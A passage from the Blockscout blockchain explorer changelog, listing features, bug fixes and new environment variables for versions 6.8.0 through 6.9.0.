([#10801](https://github.com/blockscout/blockscout/issues/10801)) +- Send archive balances requests to trace url ([#10820](https://github.com/blockscout/blockscout/issues/10820)) +- Add metadata info to tx interpreter request ([#10823](https://github.com/blockscout/blockscout/issues/10823)) +- Api for querying mud systems abi ([#10829](https://github.com/blockscout/blockscout/issues/10829)) +- Arbitrum L1-to-L2 messages with hashed message id ([#10751](https://github.com/blockscout/blockscout/issues/10751)) +- Support CoinMarketCap format in token supply stats ([#10853](https://github.com/blockscout/blockscout/issues/10853)) +- Address scam badge flag ([#10763](https://github.com/blockscout/blockscout/issues/10763)) +- Add verbosity to GraphQL token transfers query ([#10770](https://github.com/blockscout/blockscout/issues/10770)) +- (celo) include token information in API response for address epoch rewards ([#10831](https://github.com/blockscout/blockscout/issues/10831)) +- Add Blackfort validators ([#10744](https://github.com/blockscout/blockscout/issues/10744)) +- Retry ERC-1155 token instance metadata fetch from baseURI + tokenID ([#10766](https://github.com/blockscout/blockscout/issues/10766)) + +### 🐛 Bug Fixes + +- Fix tokennfttx API v1 endpoint ([#11083](https://github.com/blockscout/blockscout/issues/11083)) +- Fix contract codes fetching for zksync chain type ([#11055](https://github.com/blockscout/blockscout/issues/11055)) +- Filter non-traceable blocks before inserting them to internal txs fetcher queue ([#11074](https://github.com/blockscout/blockscout/issues/11074)) +- Import blocks before coin balances ([#11049](https://github.com/blockscout/blockscout/issues/11049)) +- Abi cache for non-proxied addresses ([#11065](https://github.com/blockscout/blockscout/issues/11065)) +- Celo collated gas price issue ([#11067](https://github.com/blockscout/blockscout/issues/11067)) +- Indexer memory limit for api instance ([#11066](https://github.com/blockscout/blockscout/issues/11066)) +- Fix scam badge value in some API endpoints ([#11054](https://github.com/blockscout/blockscout/issues/11054)) +- Divide by `10^decimals` when calculating token supply in CMC format ([#11036](https://github.com/blockscout/blockscout/issues/11036)) +- Rename zksync l1/l2 _tx_count columns ([#11051](https://github.com/blockscout/blockscout/issues/11051)) +- Bugs introduced in calldata decoding optimizations ([#11025](https://github.com/blockscout/blockscout/issues/11025)) +- Handle stalled async task in MapCache ([#11015](https://github.com/blockscout/blockscout/issues/11015)) +- Add tx_count, tx_types props in the response of address API v2 endpoints for compatibility with current version of the frontend ([#11012](https://github.com/blockscout/blockscout/issues/11012)) +- Chart API: add compatibility with the current frontend ([#11008](https://github.com/blockscout/blockscout/issues/11008)) +- Fix failed tests ([#11000](https://github.com/blockscout/blockscout/issues/11000)) +- Add compatibility with current frontend for some public props ([#10998](https://github.com/blockscout/blockscout/issues/10998)) +- Process foreign key violation in scam addresses assigning functionality ([#10977](https://github.com/blockscout/blockscout/issues/10977)) +- Handle import exceptions in MassiveBlocksFetcher ([#10993](https://github.com/blockscout/blockscout/issues/10993)) +- Workaround for repeating logIndex ([#10880](https://github.com/blockscout/blockscout/issues/10880)) +- Filter out nil implementations from combine_proxy_implementation_addresses_map function result ([#10943](https://github.com/blockscout/blockscout/issues/10943)) +- Delete incorrect coin balances on reorg ([#10879](https://github.com/blockscout/blockscout/issues/10879)) +- Handle delegatecall in state changes ([#10906](https://github.com/blockscout/blockscout/issues/10906)) +- Fix env. variables link in README.md ([#10898](https://github.com/blockscout/blockscout/issues/10898)) +- Add missing block timestamp in election rewards for address response ([#10907](https://github.com/blockscout/blockscout/issues/10907)) +- Add missing build arg to celo workflow ([#10895](https://github.com/blockscout/blockscout/issues/10895)) +- Do not include unrelated token transfers in `tokenTransferTxs` ([#10889](https://github.com/blockscout/blockscout/issues/10889)) +- Fix get current user in app template ([#10844](https://github.com/blockscout/blockscout/issues/10844)) +- Set `API_GRAPHQL_MAX_COMPLEXITY` in build action ([#10843](https://github.com/blockscout/blockscout/issues/10843)) +- Disable archive balances only if latest block is available ([#10851](https://github.com/blockscout/blockscout/issues/10851)) +- Dialyzer warning ([#10845](https://github.com/blockscout/blockscout/issues/10845)) +- Decode revert reason by decoding candidates from the DB ([#10827](https://github.com/blockscout/blockscout/issues/10827)) +- Filecoin stuck pending address operations ([#10832](https://github.com/blockscout/blockscout/issues/10832)) +- Sanitize replaced transactions migration ([#10784](https://github.com/blockscout/blockscout/issues/10784)) +- Repair /metrics endpoint ([#10813](https://github.com/blockscout/blockscout/issues/10813)) +- Revert the deletion of deriving current token balances ([#10811](https://github.com/blockscout/blockscout/issues/10811)) +- Clear null round blocks from missing block ranges ([#10805](https://github.com/blockscout/blockscout/issues/10805)) +- Decode addresses as checksummed ([#10777](https://github.com/blockscout/blockscout/issues/10777)) +- Preload additional sources for bytecode twin smart-contract ([#10692](https://github.com/blockscout/blockscout/issues/10692)) +- Set min query length in the search API endpoints ([#10698](https://github.com/blockscout/blockscout/issues/10698)) +- Proper handling of old batches on Arbitrum Nova ([#10786](https://github.com/blockscout/blockscout/issues/10786)) +- Get rid of heavy DB query to start Arbitrum missed messages discovery process ([#10767](https://github.com/blockscout/blockscout/issues/10767)) +- Revisited approach to choose L1 blocks to discover missing Arbitrum batches ([#10757](https://github.com/blockscout/blockscout/issues/10757)) +- Fix account db repo definition ([#10714](https://github.com/blockscout/blockscout/issues/10714)) +- Allow string IDs in JSON RPC requests ([#10759](https://github.com/blockscout/blockscout/issues/10759)) +- Filter out tokens with skip_metadata: true from token fetcher ([#10736](https://github.com/blockscout/blockscout/issues/10736)) + +### 🚜 Refactor + +- Fixate naming convention for "transaction" and "block number" entities ([#10913](https://github.com/blockscout/blockscout/issues/10913)) +- Use middleware to check if GraphQL API is enabled ([#10772](https://github.com/blockscout/blockscout/issues/10772)) + +### ⚡ Performance + +- Fix performance of Explorer.Counters.Transactions24hStats.consolidate/0 function ([#11082](https://github.com/blockscout/blockscout/issues/11082)) +- Optimize advanced filters ([#10463](https://github.com/blockscout/blockscout/issues/10463)) +- Refactor tx data decoding with fewer DB queries ([#10842](https://github.com/blockscout/blockscout/issues/10842)) + +### ⚙️ Miscellaneous Tasks + +- Update version bump script +- Remove deprecated single implementation property of the smart-contract from the API response ([#10715](https://github.com/blockscout/blockscout/issues/10715)) +- Set indexer memory limit based on system info as a fallback ([#10697](https://github.com/blockscout/blockscout/issues/10697)) +- Set user agent to metadata requests ([#10834](https://github.com/blockscout/blockscout/issues/10834)) +- Reverse internal transactions fetching order ([#10912](https://github.com/blockscout/blockscout/issues/10912)) +- Remove unused fetch_and_lock_by_hashes/1 public function +- Add shrink int txs docker image build for Celo chain type ([#10894](https://github.com/blockscout/blockscout/issues/10894)) +- Ability to work with Blockscout code base within a VSCode devcontainer ([#10838](https://github.com/blockscout/blockscout/issues/10838)) +- Add version bump script ([#10871](https://github.com/blockscout/blockscout/issues/10871)) +- Bump elixir to 1.17.3 and Erlang OTP to 27.1 ([#10284](https://github.com/blockscout/blockscout/issues/10284)) +- Reindex incorrect internal transactions migration ([#10654](https://github.com/blockscout/blockscout/issues/10654)) +- Remove old UI from base Docker image ([#10828](https://github.com/blockscout/blockscout/issues/10828)) +- Add primary key to address_tags table ([#10818](https://github.com/blockscout/blockscout/issues/10818)) +- Refactor OrderedCache preloads ([#10803](https://github.com/blockscout/blockscout/issues/10803)) +- Support non-unique log index for rsk chain type ([#10807](https://github.com/blockscout/blockscout/issues/10807)) +- Add missing symbols ([#10749](https://github.com/blockscout/blockscout/issues/10749)) + +### New ENV Variables + +| Variable | Description | Parameters | +| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | +| `INDEXER_SYSTEM_MEMORY_PERCENTAGE` | Percentage of total memory available to the VM that an application can use if `INDEXER_MEMORY_LIMIT` is not set. Implemented in [#10697](https://github.com/blockscout/blockscout/pull/10697). |

Version: v6.9.0+
Default: 60
Applications: Indexer

| +| `INDEXER_TOKEN_BALANCES_EXPONENTIAL_TIMEOUT_COEFF` | Coefficient to calculate exponential timeout. Implemented in [#10694](https://github.com/blockscout/blockscout/pull/10694). |

Version: v6.9.0+
Default: 100
Applications: Indexer

| +| `INDEXER_INTERNAL_TRANSACTIONS_FETCH_ORDER` | Order of fetching internal transactions from node. Possible values: `asc`, `desc`. Implemented in [#10912](https://github.com/blockscout/blockscout/pull/10912) |

Version: v6.9.0+
Default: asc
Applications: Indexer

| +| `HIDE_SCAM_ADDRESSES` | Hides address of EOA/smart-contract/token from search results if the value is `true` and "scam" badge is assigned to that address. Implemented in [#10763](https://github.com/blockscout/blockscout/pull/10763) |

Version: v6.9.0+
Default: (empty)
Applications: API

| +| `RE_CAPTCHA_CHECK_HOSTNAME` | Disable reCAPTCHA hostname check. More details on [reCaptcha docs](https://developers.google.com/recaptcha/docs/domain\_validation). Implemented in [#10706](https://github.com/blockscout/blockscout/pull/10706) |

Version: v6.9.0+
Default: false
Applications: API

| +| `ACCOUNT_OTP_RESEND_INTERVAL` | Time before resending otp email. Implemented in [#10706](https://github.com/blockscout/blockscout/pull/10706). |

Version: v6.9.0+
Default: 1m
Applications: API

| +| `INDEXER_SCROLL_L1_RPC` | The RPC endpoint for L1 used to fetch Deposit and Withdrawal messages. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: (empty)
Applications: Indexer

| +| `INDEXER_SCROLL_L1_CHAIN_CONTRACT` | The address of ScrollChain contract on L1. Used to fetch batch and bundle events. Implemented in [#10819](https://github.com/blockscout/blockscout/pull/10819). |

Version: v6.9.0+
Default: (empty)
Applications: Indexer

| +| `INDEXER_SCROLL_L1_BATCH_START_BLOCK` | The number of a start block on L1 to index L1 batches and bundles. If the table of batches is not empty, the process will continue indexing from the last indexed batch. Implemented in [#10819](https://github.com/blockscout/blockscout/pull/10819). |

Version: v6.9.0+
Default: (empty)
Applications: Indexer

| +| `INDEXER_SCROLL_L1_MESSENGER_CONTRACT` | The address of L1 Scroll Messenger contract on L1 used to fetch Deposit and Withdrawal messages. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: (empty)
Applications: Indexer

| +| `INDEXER_SCROLL_L1_MESSENGER_START_BLOCK` | The number of a start block on L1 to index L1 bridge messages. If the table of bridge operations is not empty, the process will continue indexing from the last indexed L1 message. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: (empty)
Applications: Indexer

| +| `INDEXER_SCROLL_L2_MESSENGER_CONTRACT` | The address of L2 Scroll Messenger contract on L2 used to fetch Deposit and Withdrawal messages. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: (empty)
Applications: Indexer

| +| `INDEXER_SCROLL_L2_MESSENGER_START_BLOCK` | The number of a start block on L2 to index L2 bridge messages. If the table of bridge operations is not empty, the process will continue indexing from the last indexed L2 message. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `FIRST_BLOCK`
Applications: Indexer

| +| `INDEXER_SCROLL_L2_GAS_ORACLE_CONTRACT` | The address of L1 Gas Oracle contract on L2. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: (empty)
Applications: Indexer

| +| `INDEXER_SCROLL_L1_ETH_GET_LOGS_RANGE_SIZE` | Block range size for eth\_getLogs request in Scroll indexer modules for Layer 1. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `250`
Applications: Indexer

| +| `INDEXER_SCROLL_L2_ETH_GET_LOGS_RANGE_SIZE` | Block range size for eth\_getLogs request in Scroll indexer modules for Layer 2. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `1000`
Applications: Indexer

| +| `SCROLL_L2_CURIE_UPGRADE_BLOCK` | L2 block number of the Curie upgrade. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `0`
Applications: API

| +| `SCROLL_L1_SCALAR_INIT` | Initial value for `scalar` parameter. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `0`
Applications: API

| +| `SCROLL_L1_OVERHEAD_INIT` | Initial value for `overhead` parameter. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `0`
Applications: API

| +| `SCROLL_L1_COMMIT_SCALAR_INIT` | Initial value for `commit_scalar` parameter. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `0`
Applications: API

| +| `SCROLL_L1_BLOB_SCALAR_INIT` | Initial value for `blob_scalar` parameter. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `0`
Applications: API

| +| `SCROLL_L1_BASE_FEE_INIT` | Initial value for `l1_base_fee` parameter. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `0`
Applications: API

| +| `SCROLL_L1_BLOB_BASE_FEE_INIT` | Initial value for `l1_blob_base_fee` parameter. Implemented in [#10484](https://github.com/blockscout/blockscout/pull/10484). |

Version: v6.9.0+
Default: `0`
Applications: API

| +| `INDEXER_OPTIMISM_L1_DEPOSITS_TRANSACTION_TYPE` | Defines OP Deposit transaction type (numeric value) which is needed for correct L2 transaction hash calculation by the Deposits indexing module. Implemented in [#10674](https://github.com/blockscout/blockscout/pull/10674). |

Version: v6.9.0+
Default: 126
Applications: Indexer

| +| `INDEXER_DISABLE_CELO_VALIDATOR_GROUP_VOTES_FETCHER` | If set to `true`, the validator group votes fetcher will not be started. Implemented in [#10673](https://github.com/blockscout/blockscout/pull/10673). |

Version: v6.9.0+
Default: false
Applications: Indexer

| +| `FILECOIN_NETWORK_PREFIX` | Specifies the expected network prefix for Filecoin addresses. For more details, refer to the [Filecoin Spec](https://spec.filecoin.io/appendix/address/#section-appendix.address.network-prefix). Available values: `f` (for the mainnet), `t` (for testnets). Implemented in [#10468](https://github.com/blockscout/blockscout/pull/10468). |

Version: v6.9.0+
Default: f
Applications: API, Indexer

| +| `BERYX_API_TOKEN` | [Beryx API](https://docs.zondax.ch/beryx-api) token, used for retrieving Filecoin native addressing information. Implemented in [#10468](https://github.com/blockscout/blockscout/pull/10468). |

Required: ✅
Version: v6.9.0+
Default: (empty)
Applications: Indexer

| +| `BERYX_API_BASE_URL` | [Beryx API](https://docs.zondax.ch/beryx-api) base URL. Implemented in [#10468](https://github.com/blockscout/blockscout/pull/10468). |

Version: v6.9.0+
Default: https://api.zondax.ch/fil/data/v3/mainnet
Applications: Indexer

| +| `INDEXER_DISABLE_FILECOIN_ADDRESS_INFO_FETCHER` | When set to `true`, Filecoin native addressing information will not be fetched, but addresses pending fetch will still be recorded in the database. Implemented in [#10468](https://github.com/blockscout/blockscout/pull/10468). |

Version: v6.9.0+
Default: false
Applications: Indexer

| +| `INDEXER_FILECOIN_ADDRESS_INFO_CONCURRENCY` | Sets the maximum number of concurrent requests made to fetch Filecoin native addressing information. Implemented in [#10468](https://github.com/blockscout/blockscout/pull/10468). |

Version: v6.9.0+
Default: 1
Applications: Indexer

| +| `FILECOIN_PENDING_ADDRESS_OPERATIONS_MIGRATION_BATCH_SIZE` | Specifies the number of address records processed per batch during the backfill of pending address fetch operations. Implemented in [#10468](https://github.com/blockscout/blockscout/pull/10468). |

Version: v6.9.0+
Default: 100
Applications: Indexer

| +| `FILECOIN_PENDING_ADDRESS_OPERATIONS_MIGRATION_CONCURRENCY` | Specifies the number of concurrent processes used during the backfill of pending address fetch operations. Implemented in [#10468](https://github.com/blockscout/blockscout/pull/10468). |

Version: v6.9.0+
Default: 1
Applications: Indexer

| +| `BLACKFORT_VALIDATOR_API_URL` | Variable to define the URL of the Blackfort Validator API. Implemented in [#10744](https://github.com/blockscout/blockscout/pull/10744). |

Version: v6.9.0+
Default: (empty)
Applications: API, Indexer

| + +## 6.8.1 + +### 🚀 Features + +- Add `INDEXER_OPTIMISM_L1_DEPOSITS_TRANSACTION_TYPE` env variable ([#10674](https://github.com/blockscout/blockscout/issues/10674)) +- Support for filecoin native addresses ([#10468](https://github.com/blockscout/blockscout/issues/10468)) + +### 🐛 Bug Fixes + +- Decoding of zero fields in mud ([#10764](https://github.com/blockscout/blockscout/issues/10764)) +- Insert coin balances placeholders in internal transactions fetcher ([#10603](https://github.com/blockscout/blockscout/issues/10603)) +- Avoid key violation error in `Indexer.Fetcher.Optimism.TxnBatch` ([#10752](https://github.com/blockscout/blockscout/issues/10752)) +- Fix empty current token balances ([#10745](https://github.com/blockscout/blockscout/issues/10745)) +- Allow disabling group votes fetcher independently of epoch block fetcher ([#10673](https://github.com/blockscout/blockscout/issues/10673)) +- Fix gettext usage warning ([#10693](https://github.com/blockscout/blockscout/issues/10693)) +- Truncate token symbol in Explorer.Chain.PolygonZkevm.BridgeL1Token ([#10688](https://github.com/blockscout/blockscout/issues/10688)) + +### ⚡ Performance + +- Improve performance of transactions list page ([#10734](https://github.com/blockscout/blockscout/issues/10734)) + +### ⚙️ Miscellaneous Tasks + +- Add meta to migrations_status ([#10678](https://github.com/blockscout/blockscout/issues/10678)) +- Token balances fetcher slow queue ([#10694](https://github.com/blockscout/blockscout/issues/10694)) +- Shrink sample response for the trace in Filecoin chain type +- Extend missing balanceOf function with :unable_to_decode error ([#10713](https://github.com/blockscout/blockscout/issues/10713)) +- Fix flaking explorer tests ([#10676](https://github.com/blockscout/blockscout/issues/10676)) +- Change shrink internal transactions migration default batch_size ([#10689](https://github.com/blockscout/blockscout/issues/10689)) + +## 6.8.0 + +### 🚀 Features + +- Detect Diamond proxy pattern on unverified proxy smart-contract ([#10665](https://github.com/blockscout/blockscout/pull/10665)) +- Support smart-contract verification in zkSync ([#10500](https://github.com/blockscout/blockscout/issues/10500)) +- Add icon for secondary coin ([#10241](https://github.com/blockscout/blockscout/issues/10241)) +- Integrate Cryptorank API ([#10550](https://github.com/blockscout/blockscout/issues/10550)) +- Enhance /api/v2/smart-contracts/:hash API endpoint ([#10558](https://github.com/blockscout/blockscout/issues/10558)) +- Add method name to transactions CSV export ([#10579](https://github.com/blockscout/blockscout/issues/10579)) +- Add /api/v2/proxy/metadata/addresses endpoint ([#10585](https://github.com/blockscout/blockscout/issues/10585)) +- More descriptive status for Arbitrum message for the transaction view ([#10593](https://github.com/blockscout/blockscout/issues/10593)) +- Add internal_transactions to Tx interpreter request ([#10347](https://github.com/blockscout/blockscout/issues/10347)) +- Add token decimals to token transfers CSV export ([#10589](https://github.com/blockscout/blockscout/issues/10589)) +- Add DELETE /api/v2/import/token-info method ([#10580](https://github.com/blockscout/blockscout/issues/10580)) +- Add block number to token transfer object in API v2 endpoint ([#10591](https://github.com/blockscout/blockscout/issues/10591)) +- L1 tx associated with Arbitrum message in /api/v2/transactions/{txHash} ([#10590](https://github.com/blockscout/blockscout/issues/10590)) +- No rate limit API key ([#10515](https://github.com/blockscout/blockscout/issues/10515)) +- Support for `:celo` chain type ([#10564](https://github.com/blockscout/blockscout/issues/10564)) +- Public IPFS gateway URL ([#10511](https://github.com/blockscout/blockscout/issues/10511)) +- Add CSV_EXPORT_LIMIT env ([#10497](https://github.com/blockscout/blockscout/issues/10497)) +- Backfiller for omitted WETH transfers ([#10466](https://github.com/blockscout/blockscout/issues/10466)) +- Add INDEXER_DISABLE_REPLACED_TRANSACTION_FETCHER env ([#10485](https://github.com/blockscout/blockscout/issues/10485)) +- Revisited approach to catchup missed Arbitrum messages ([#10374](https://github.com/blockscout/blockscout/issues/10374)) +- Missing Arbitrum batches re-discovery ([#10446](https://github.com/blockscout/blockscout/issues/10446)) +- Add memory metrics for OnDemand fetchers ([#10425](https://github.com/blockscout/blockscout/issues/10425)) +- Add Celestia blobs support to Optimism batches fetcher ([#10199](https://github.com/blockscout/blockscout/issues/10199)) +- AnyTrust and Celestia support as DA for Arbitrum batches ([#10144](https://github.com/blockscout/blockscout/issues/10144)) +- Broadcast updates about new Arbitrum batches and L1-L2 messages through WebSocket ([#10272](https://github.com/blockscout/blockscout/issues/10272)) + +### 🐛 Bug Fixes + +- Logs list serialization ([#10565](https://github.com/blockscout/blockscout/issues/10565)) +- nil in OrderedCache ([#10647](https://github.com/blockscout/blockscout/pull/10647)) +- Fix for metadata detection at ipfs protocol([#10646](https://github.com/blockscout/blockscout/pull/10646)) +- Fix bug in update_replaced_transactions query ([#10634](https://github.com/blockscout/blockscout/issues/10634)) +- Fix mode dependent processes starting ([#10641](https://github.com/blockscout/blockscout/issues/10641)) +- Better detection IPFS links in NFT metadata fetcher ([#10638](https://github.com/blockscout/blockscout/issues/10638)) +- Change mode env name ([#10636](https://github.com/blockscout/blockscout/issues/10636)) +- Proper default value of gas used for dropped Arbitrum transactions ([#10619](https://github.com/blockscout/blockscout/issues/10619)) +- Fix fetch_first_trace tests ([#10618](https://github.com/blockscout/blockscout/issues/10618)) +- Add SHRINK_INTERNAL_TRANSACTIONS_ENABLED arg to Dockerfile ([#10616](https://github.com/blockscout/blockscout/issues/10616)) +- Fix raw-trace test ([#10606](https://github.com/blockscout/blockscout/issues/10606)) +- Fix internal transaction validation ([#10443](https://github.com/blockscout/blockscout/issues/10443)) +- Fix internal transactions runner test for zetachain ([#10576](https://github.com/blockscout/blockscout/issues/10576)) +- Filter out incorrect L1-to-L2 Arbitrum messages ([#10570](https://github.com/blockscout/blockscout/issues/10570)) +- Fetch contract methods decoding candidates sorted by inserted_at ([#10529](https://github.com/blockscout/blockscout/issues/10529)) +- Sanitize topic value before making db query ([#10481](https://github.com/blockscout/blockscout/issues/10481)) +- Fix :checkout_timeout error on NFT fetching ([#10429](https://github.com/blockscout/blockscout/issues/10429)) +- Proper handling confirmations for Arbitrum rollup block in the middle of a batch ([#10482](https://github.com/blockscout/blockscout/issues/10482)) +- Sanitize contractURI response ([#10479](https://github.com/blockscout/blockscout/issues/10479)) +- Use token_type from tt instead of token ([#10555](https://github.com/blockscout/blockscout/issues/10555)) +- Non-consensus logs in JSON RPC and ETH RPC APIs ([#10545](https://github.com/blockscout/blockscout/issues/10545)) +- Fix address_to_logs consensus filtering ([#10528](https://github.com/blockscout/blockscout/issues/10528)) +- Error on internal transactions CSV export ([#10495](https://github.com/blockscout/blockscout/issues/10495)) +- Extend block search range for `getblocknobytime` method ([#10475](https://github.com/blockscout/blockscout/issues/10475)) +- Move recon dep to explorer mix.exs ([#10487](https://github.com/blockscout/blockscout/issues/10487)) +- Add missing condition to fetch_min_missing_block_cache ([#10478](https://github.com/blockscout/blockscout/issues/10478)) +- Mud api format fixes ([#10362](https://github.com/blockscout/blockscout/issues/10362)) +- Add no overlapping constraint to missing_block_ranges ([#10449](https://github.com/blockscout/blockscout/issues/10449)) +- Avoid infinite loop during batch block range binary search ([#10436](https://github.com/blockscout/blockscout/issues/10436)) +- Fix "key :bytes not found in: nil" issue ([#10435](https://github.com/blockscout/blockscout/issues/10435)) +- Missing clauses in MetadataPreloader functions ([#10439](https://github.com/blockscout/blockscout/issues/10439)) +- Code compiler test ([#10454](https://github.com/blockscout/blockscout/issues/10454)) +- Include internal transactions in state change ([#10210](https://github.com/blockscout/blockscout/issues/10210)) +- Race condition in cache tests ([#10441](https://github.com/blockscout/blockscout/issues/10441)) +- Fix on-demand fetchers metrics ([#10431](https://github.com/blockscout/blockscout/issues/10431)) +- Transactions and token transfers block_consensus ([#10285](https://github.com/blockscout/blockscout/issues/10285)) +- Allow fetching image from properties -> image prop in token instance metadata ([#10380](https://github.com/blockscout/blockscout/issues/10380)) +- Filter out internal transactions belonging to reorg ([#10330](https://github.com/blockscout/blockscout/issues/10330)) +- Fix logs sorting in API v1 ([#10405](https://github.com/blockscout/blockscout/issues/10405)) +- Fix flickering transaction_estimated_count/1 test ([#10403](https://github.com/blockscout/blockscout/issues/10403)) +- Fix flickering "updates cache if initial value is zero" tests ([#10402](https://github.com/blockscout/blockscout/issues/10402)) +- /addresses empty list flickering test fix ([#10400](https://github.com/blockscout/blockscout/issues/10400)) +- Fix missing expectation in mock_beacon_storage_pointer_request ([#10399](https://github.com/blockscout/blockscout/issues/10399)) +- Fix /stats/charts/market test ([#10392](https://github.com/blockscout/blockscout/issues/10392)) +- Alternative way to detect blocks range for ArbitrumOne batches ([#10295](https://github.com/blockscout/blockscout/issues/10295)) +- Fix exchange rate flickering test ([#10383](https://github.com/blockscout/blockscout/issues/10383)) +- Fix gas price oracle flickering test ([#10381](https://github.com/blockscout/blockscout/issues/10381)) +- Fix address controller flickering test ([#10382](https://github.com/blockscout/blockscout/issues/10382)) +- Empty revert reasons in geth variant ([#10243](https://github.com/blockscout/blockscout/issues/10243)) +- Proper handling for re-discovered Arbitrum batches ([#10326](https://github.com/blockscout/blockscout/issues/10326)) +- Proper lookup of confirmed Arbitrum cross-chain messages ([#10322](https://github.com/blockscout/blockscout/issues/10322)) +- Indexer first block usage to halt Arbitrum missed messages discovery ([#10280](https://github.com/blockscout/blockscout/issues/10280)) + +### 📚 Documentation + +- Refine PR template +- Move note in README.md higher for visibility ([#10450](https://github.com/blockscout/blockscout/issues/10450)) + +### ⚡ Performance + +- Speed up worlds list query ([#10556](https://github.com/blockscout/blockscout/issues/10556)) +- Reduce LookUpSmartContractSourcesOnDemand fetcher footprint ([#10457](https://github.com/blockscout/blockscout/issues/10457)) + +### ⚙️ Miscellaneous Tasks + +- Make Dockerfile use specified user with uid/gid ([#10070](https://github.com/blockscout/blockscout/pull/10070)) +- Run shrink internal transactions migration for indexer instance only ([#10631](https://github.com/blockscout/blockscout/issues/10631)) +- Shrink internal transactions ([#10567](https://github.com/blockscout/blockscout/issues/10567)) +- Upgrade WS client ([#10407](https://github.com/blockscout/blockscout/issues/10407)) +- Add API endpoint for OP batch blocks ([#10566](https://github.com/blockscout/blockscout/issues/10566)) +- Public metrics config API endpoint ([#10568](https://github.com/blockscout/blockscout/issues/10568)) +- Add workflow to generate separate pre-release indexer/API images for Arbitrum +- Fix some comments ([#10519](https://github.com/blockscout/blockscout/issues/10519)) +- Set Geth as default JSON RPC Variant ([#10509](https://github.com/blockscout/blockscout/issues/10509)) +- Return ex_abi core lib dependency ([#10470](https://github.com/blockscout/blockscout/issues/10470)) +- Add recon dependency ([#10486](https://github.com/blockscout/blockscout/issues/10486)) +- Manage Solidityscan platform id via runtime variable ([#10473](https://github.com/blockscout/blockscout/issues/10473)) +- Add test for broadcasting fetched_bytecode message ([#10244](https://github.com/blockscout/blockscout/issues/10244)) +- Disable public metrics by default, set 1 day as default period of update ([#10469](https://github.com/blockscout/blockscout/issues/10469)) +- Move eth_bytecode_db_lookup_started event to smart contract related event handler ([#10462](https://github.com/blockscout/blockscout/issues/10462)) +- Token transfers broadcast optimization ([#10465](https://github.com/blockscout/blockscout/issues/10465)) +- Remove catchup sequence logic ([#10415](https://github.com/blockscout/blockscout/issues/10415)) +- Remove single implementation name, address from API v2 response ([#10390](https://github.com/blockscout/blockscout/issues/10390)) +- Refactor init functions to use continue if needed ([#10300](https://github.com/blockscout/blockscout/issues/10300)) +- Update buildkit builders ([#10377](https://github.com/blockscout/blockscout/issues/10377)) + +### New ENV Variables + +| Variable | Description | Parameters | +| ------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | +| `ETHEREUM_JSONRPC_FALLBACK_WS_URL` | The fallback WebSockets RPC endpoint used to subscribe to the `newHeads` subscription alerting the indexer to fetch new blocks. Implemented in [#10407](https://github.com/blockscout/blockscout/pull/10407). |

Version: v6.8.0+
Default: (empty)
Applications: Indexer

| +| `ETHEREUM_JSONRPC_WS_RETRY_INTERVAL` | The interval between retries of connecting to WebSocket RPC endpoint after the previous attempt is failed. Implemented in [#10407](https://github.com/blockscout/blockscout/pull/10407). |

Version: v6.8.0+
Default: 1m
Applications: Indexer

| +| `DATABASE_EVENT_URL` | Variable to define the Postgres Database endpoint that will be used by event listener process. Applicable for separate indexer and API setup. More info in related PR. Implemented in [#10164](https://github.com/blockscout/blockscout/pull/10164). |

Version: v6.8.0+
Default: (empty)
Applications: API

| +| `PUBLIC_METRICS_ENABLED` | Variable to enable running queries at /public-metrics endpoint. Implemented in [#10469](https://github.com/blockscout/blockscout/pull/10469). |

Version: v6.8.0+
Default: false
Applications: API

| +| `PUBLIC_METRICS_UPDATE_PERIOD_HOURS` | Public metrics update period in hours at /public-metrics endpoint. Implemented in [#10469](https://github.com/blockscout/blockscout/pull/10469). |

Version: v6.8.0+
Default: 24
Applications: API

| +| `SHRINK_INTERNAL_TRANSACTIONS_ENABLED` | Variable to enable internal transactions shrinking logic. Implemented in [#10567](https://github.com/blockscout/blockscout/pull/10567). |

Version: v6.8.0+
Default: false
Applications: API, Indexer

| +| `SHRINK_INTERNAL_TRANSACTIONS_BATCH_SIZE` | Batch size of the shrink internal transactions migration. Implemented in [#10567](https://github.com/blockscout/blockscout/pull/10567). |

Version: v6.8.0+
Default: 1000
Applications: API, Indexer

| +| `SHRINK_INTERNAL_TRANSACTIONS_CONCURRENCY` | Concurrency of the shrink internal transactions migration. Implemented in [#10567](https://github.com/blockscout/blockscout/pull/10567). |

Version: v6.8.0+
Default: 1
Applications: API, Indexer

| +| `IPFS_PUBLIC_GATEWAY_URL` | IPFS public gateway url which is used by frontend to display IPFS resources such as token instance image. |

Version: v6.8.0+
Default: https://ipfs.io/ipfs
Applications: API

| +| `INDEXER_TOKEN_INSTANCE_RETRY_MAX_REFETCH_INTERVAL` | Maximum interval between attempts to fetch token instance metadata. [Time format](backend-env-variables.md#time-format). Implemented in [#10027](https://github.com/blockscout/blockscout/pull/10027). |

Version: v6.8.0+
Default: 168h
Applications: Indexer

| +| `INDEXER_TOKEN_INSTANCE_RETRY_EXPONENTIAL_TIMEOUT_BASE` | Base to calculate exponential timeout. Implemented in [#10027](https://github.com/blockscout/blockscout/pull/10027). |

Version: v6.8.0+
Default: 2
Applications: Indexer

